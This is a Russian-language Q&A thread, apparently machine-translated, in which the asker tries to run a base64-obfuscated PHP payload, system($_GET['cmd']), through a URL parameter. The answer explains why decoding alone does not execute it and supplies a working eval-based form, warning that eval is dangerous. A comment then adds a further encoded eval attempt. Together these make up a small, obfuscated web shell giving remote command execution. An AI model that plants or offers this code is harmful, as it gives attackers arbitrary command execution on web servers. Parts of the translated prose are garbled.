2016-07-10 2 views
0

Я пытаюсь тестовый скриптКак запустить системную функцию внутри базы 64 функции декодирования

Я хочу, чтобы запустить системную функцию внутри функции декодирования base64

Но он не работает ни малейшего представления!

<?php base64_decode("c3lzdGVtKCRfR0VUWydjbWQnXSkg") 
?> 

localhost/test.php?cmd=id

ответ

1

base64_decode функция PHP получает строку (которая кодируется в base64) и декодировать его обратно к исходным данным. Функция возвращает декодированные данные в виде строки, которая означает, что ваш код на самом деле выглядит как:

<?php "system($_GET['cmd']) " 
?> 

(Выполнение этого кода не имеет смысла).

Если вы хотите PHP для «запуска» (или оценивать) строку, которую вы Juse декодированного - вы должны использовать eval язык построения РНР:

<?php eval("system($_GET['cmd']);"); 
?> 

Обратите внимание на ; добавил в конце строки (внутри вызова eval).

Очень важно

Обратите внимание, что использование Eval очень опасно, потому что она позволяет выполнение произвольного кода.
Вы должны действительно НЕ использовать это, если вы не ДЕЙСТВИТЕЛЬНО знаете, что вы делаете.

+0

я использовал 'eva'l как этот' base64_decode ("ZXZhbCgic3lzdGVtKCRfR0VUWydjbWQnXSk7Iik ="); ', но не работает –

+0

Читать снова мой ответ, все объясняется там. – Dekel

Смежные вопросы